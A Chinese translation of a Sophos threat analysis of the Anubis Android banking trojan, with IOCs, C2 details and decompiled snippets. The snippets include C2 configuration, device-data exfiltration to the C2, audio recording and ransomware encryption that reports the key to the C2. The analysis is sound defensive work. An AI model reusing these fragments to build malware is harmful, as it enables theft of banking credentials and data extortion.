Anubis回来了,你准备好了吗

Android研究人员称, Anubis是一种以土耳其用户为主要目标,窃取凭证的恶意软件。在过去的几个月中,该恶意软件家族已经成功渗透到谷歌应用商店。

应用开发者经常将他们的木马伪装成金融服务,汽车应用或购物程序,但实际上,它起到了下载器的作用。一旦激活,Anubis将获取payload,该payload可窃取银行凭证并向僵尸网络控制者提供受感染设备的远程控制权。

在首次发现Anubis之后,谷歌对应用商店进行了清理,但没过多久,新的Anubis下载程序再次出现在应用商店中。

这个恶意软件家族的持久性值得我们对它的功能进行更深入的研究。

Anubis究竟是什么?

这篇文章不是介绍古埃及的死神阿努比斯,Anubis是一种银行木马和僵尸网络。源自于我们今年早些时候提到过的Maza-in银行木马源码泄露。

它们没有被嵌入任何有效payload,所以在谷歌应用商店内均显示为无害的应用程序。
这些应用将作为下载器:成功安装后,将连接C2服务器下载payload。

对谷歌应用商店来说,随着数以百万计的应用从网上下载内容,很难通过安全扫描服务完全了解应用下载了哪些内容

因此,恶意的下载器在进入应用商店市看起来是干净无害的,但在成功安装和激活之后,等待一段时间,它们会自动下载并激活payload,恶意软件开发者使用这种简单但恶毒的技巧欺骗谷歌应用商店的防御机制,我们在之前看到过恶意软件作者成功的使用这种延迟策略来绕过检测,在谷歌不采取应对措施之前,他们将继续沿用这种手法。

下载

Anubis的第一层是下载器代码,咋一看,它很干净,没有做任何混淆,以便绕过谷歌应用商店的防御机制,从而成功发布。

一旦安装,下载器将收集设备信息,向C2服务器发送信号,并下载更多其他应用。

在接下来的代码中,你可以看到对C2服务器的引用以及恶意软件的数据配置。

public static final boolean REPEAT_ADMIN_REQUEST_AFTER_DISABLE = true;
    public static List SERVERS = null;
    public static int SERVER_TRY_COUNT = 0;
    public static final long START_INSTALL_INTERVAL = 20000;
    public static final long TASKS_CHECK_INTERVAL = 60000;

    static {
        Config.LOGS_DIR = "";
        Config.DOWNLOADS_DIR = new File(Environment.getExternalStorageDirectory(), Rows.downloads);
        Config.SERVERS = Arrays.asList(new String[]{"http://bluetek1com/gate.php"});
        Config.SERVER_TRY_COUNT = 5;
    }

恶意软件收集的信息包括IMEI,OS版本,设备名,root状态等参数。

((Map)v3).put(Rows.api_req, "1");
    ((Map)v3).put(Rows.api_imei, Utils.getImei(arg6));
    ((Map)v3).put(Rows.api_uniqnum, arg7.getId());
    ((Map)v3).put(Rows.api_model, Build.MODEL);
    String v4 = Rows.api_root;
    String v1 = Utils.isRootAvailable() ? "1" : "2";
    ((Map)v3).put(v4, v1);
    ((Map)v3).put(Rows.api_country, ((TelephonyManager)v0_1).getNetworkCountryIso());
    ((Map)v3).put(Rows.api_osver, Build$VERSION.RELEASE);
    v2.postAdd(Utils.getPostBody(((Map)v3)));

关键字符串通过混淆来隐藏,下面是混淆字符串的示例:
"D**pE2****pE2****pE2**i**pE2****pE2****pE2**s**pE2****pE2**a[REMOVED]"
去混淆后的字符串如下:
"Disabling this option can BREAK your system. Are you sure?"

有效载荷

正如前面所提到的,丢弃的payload正是Anubis银行木马自身。

一旦运行,payload弹出Android辅助功能请求访问权限,伪装成Google Play Protect请求。

辅助功能为恶意软件提供了额外的功能,可以模拟屏幕按钮的点击,获得某些事件的回调,构造参数去窃取用户数据。

和下载器不同,木马源代码经过混淆,很难分析。

执行时,将隐藏快捷方式图标。然后,payload在运行中被丢弃,并加载另一个JAR文件,接下来,它将在后台等待进一步操作。

其他功能

除了银行恶意软件之外,Anubis还有附加的功能:

  • 发送垃圾短信
  • 远程管理
    • 录音
    • 截屏
    • 定位
    • 键盘记录
  • 勒索软件

这是一段录音功能代码:

MediaRecorder v6 = new MediaRecorder();
        this.c.a("SOUND", "START RECORD SOUND");
        this.b = false;
        v6.setAudioSource(1);
        v6.setOutputFormat(3);
        v6.setAudioEncoder(1);
        v6.setOutputFile(arg11);
        Thread v7 = new Thread(new Runnable(arg12, v6, arg11, arg10) {
            public void run() {
                StringBuilder v3;
                String v2;
                c v1_2;
                try {
                    Thread.sleep(((long)(this.a * 1000)));
                }
                catch(Throwable v1) {
                this.e.c.a("SOUND", "STOP RECORD SOUND");

内置的勒索软件组件将加密用户的文件,并为其加上.Anubiscrypt的文件扩展名。要知道,它运行在手机上,相比笔记本电脑和台式机,人们很少备份手机数据,但在手机中,更可能存有私人照片或其他有价值的数据。下面是一段勒索组件代码:

else if(!v2.getPath().contains(".AnubisCrypt")) {
             v3 = this.a.a(v3, this.c);
             StringBuilder v6 = new StringBuilder();
             v6.append(v2.getPath());
             v6.append(".AnubisCrypt");
             v4 = new FileOutputStream(v6.toString(), true);
             v4.write(v3);

            if(this.b.equals("crypt")) {
                v7_1 = this.a;
                v1_1 = new StringBuilder();
                v1_1.append("p=");
                v2_1 = this.a;
                v3 = new StringBuilder();
                v3.append(this.a.q(((Context)this)));
                v3.append("|The Cryptor is activated, the file system is encrypted by key: ");
                v3.append(this.c);
                v3.append("|");
                v1_1.append(v2_1.c(v3.toString()));
                v7_1.b(((Context)this), "4", v1_1.toString());
                v7_1 = this.a;
                v0_1 = "cryptfile";
                v1_2 = "true";

Anubis恶意软件的简要流程图如下所示:

C2通信

下载程序向C2服务器返回数据,包含手机的root状态,IMEI,设备型号和其他参数。

{
   "root":"1",
   "country":"gb",
   "os ver":"5.0",
   "uniqnum":"15b76e7d-e1a1-4f3a-8603-5f4b8041bd64", 
   “imei":"123442323",
   "req" :"1",
   "model":"Nexus 5"
}:

通过Twitter获取备份C2

有趣的是,这个木马有依赖Twitter来备份C2的趋势,这种行为和Red alert银行木马相似

下面的示例演示了一个twitter句柄如何包含base64编码的数据,并附带zero标记:

加密数据解密后是一个备份C2地址
http://erhgefhsdfsdg<dot>com

C2为恶意软件提供了一个虚假的网上银行登录窗口,如下图所示:

C2的控制面板和目录结构

Anubis恶意软件和不同的C2服务器进行通信,其中一些服务器公开了目录结构。通过这些公开目录,我们发现了超过700个恶意安卓应用程序,准备公之于众:

在C2管理面板,公开了有关此恶意软件受害者的详细信息。

仅在这一个服务器中,就有超过2600名受害者的信息被收集,受害者向服务器汇报信息。服务器接受恶意软件从受害者那里收集的root状态,IMEI,国家,连接状态等信息。

定向银行应用

Anubis木马针对70多种不同的银行应用程序,这些应用程序是与Santander,Natwest,RBS和Citibank等银行建立的网上银行业务。

最重要的是,恶意软件还将PayPal,eBay,Amazon等非银行应用作为目标。

结论

鉴于已证明Anubis具有持久性,它会持续活动,不会很快消失。

一些Anubis应用已经被谷歌应用商店移除,这种做法是把双刃剑。一方面,谷歌需要进行定位,移除,与恶意软件做艰难的斗争。

另一方面,这些恶意软件将卷土重来,每次使用不同的技术来绕过谷歌应用商店的防御,不断的发布。

在一定延迟后下载payload的技巧具有很惊人的适应性。

为了降低被感染的几率,用户应该安装那些口碑良好的开发者所开发的应用。

我们会持续跟踪Anubis的活动,来确保使用Sophos手机卫士的用户不会被感染。

Sophos检测到Anubis下载器为Andr / Banker-GWQ,payload本身为 Andr / Banker-GUZ和Andr / Banker-GTN。

IOC:C2域名

bluetek1<dot>com
junilogart8<dot>info
redtek0<dot>com

IOC:恶意软件哈希

074ae028bd3204a7e7e7a510ad0f88c49cb780fa07e91944f111af146c39c91c
5a6f9ac189dc65dad3744005644a251f73ff2a8022a70431bf90945fc7da021b

原文地址:https://news.sophos.com/en-us/2018/08/14/anubis-is-back-are-you-prepared/

上一篇:360威胁情报:GlobeImposter勒索病毒攻击事件分析

下一篇:《NIST小企业网络安全法》生效 自愿采用或成痛点